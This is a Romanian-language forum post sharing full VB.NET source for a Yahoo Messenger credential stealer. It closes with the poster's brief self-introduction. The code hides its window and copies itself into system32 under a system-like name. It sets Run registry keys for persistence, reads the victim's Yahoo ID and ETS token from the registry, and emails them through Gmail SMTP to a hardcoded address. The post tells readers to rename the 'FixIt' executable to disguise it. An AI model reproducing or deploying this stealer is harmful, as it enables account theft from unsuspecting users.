xnoobu

Merge.. uitati aici source code la ets stealer;)) ai nevoie de vb5,8,sau 10..si sa modifici pe ici pe colo:d Imports System.Net.Mail Imports System.IO Public Class Form1 Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed End Sub Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.CurrentDirectory & "\FixIt.exe") End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Me.Visible = False Me.ShowIcon = False Me.ShowInTaskbar = False If My.Computer.FileSystem.FileExists("C:\WINDOWS\system32\IXHost.exe") Then Else My.Computer.FileSystem.CopyFile(My.Computer.FileSystem.CurrentDirectory & "\FixiT.exe", "C:\WINDOWS\system32" & "\IXHost.exe") End If My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "IXHost.exe", "C:\WINDOWS\assembly\IXHost.exe") My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "IXHost.exe", "C:\WINDOWS\assembly\IXHost.exe") Timer1.Enabled = True End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick Dim MailMsg As New MailMessage() 'Dim MsgAttachment1 As New Attachment("C:\Documents and settings\"& my.user.CurrentPrincipal & "\Application\Data\Mozila\firefox\profiles\" & my.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "Mozila\cookies.sqlite") Dim readValue As String Dim id As String ' Dim ip As String readValue = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\Software\Yahoo\pager", "ETS", Nothing) id = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\Software\Yahoo\pager", "Yahoo! User ID", Nothing) 'ip = AxWinsock1.LocalIP Dim smtpserver As New SmtpClient smtpserver.Credentials = New Net.NetworkCredential("Id`u tau de gmail@gmail.com", "parola ta de gmail") smtpserver.Port = 587 smtpserver.Host = "smtp.gmail.com" smtpserver.EnableSsl = True MailMsg.To.Add("cristi_is_back2008@Yahoo.com") 'MailMsg.Attachments.Add(MsgAttachment1) MailMsg.From = New MailAddress("id`u tau de mess//**//@Yahoo.com") MailMsg.Subject = "Yahoo Pass bY cRs#" & id MailMsg.Body = "YahooId :" & id & vbCrLf & "ETS:" & readValue smtpserver.Send(MailMsg) Timer1.Enabled = False Dim p As Process For Each p In Process.GetProcesses If p.ProcessName = "IXHost.exe" Then p.Kill() End If If p.ProcessName = "FixiT" Then p.Kill() End If Next 'pot sa`l denumesc altfel? End Sub Private Sub UserControl1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) End Sub End Class Inlocuiesti peste tot fixiT cu ce nume vrei sa`i dai..deoarece am pus functia de process kill si daca are alt nume..o sa dea ceva erori cand incepe sa inchida procesul ..tutorialul este doar modificat de mine ..drepturile de autor i revin lui Crisalixx#

salut la toti.. ma numesc cristi..am 17 ani sunt din judetul B.N imi place sa ma joc prin vb6.. photoshop..si ceva C++...sper sa ne intelegem bine:d..noroc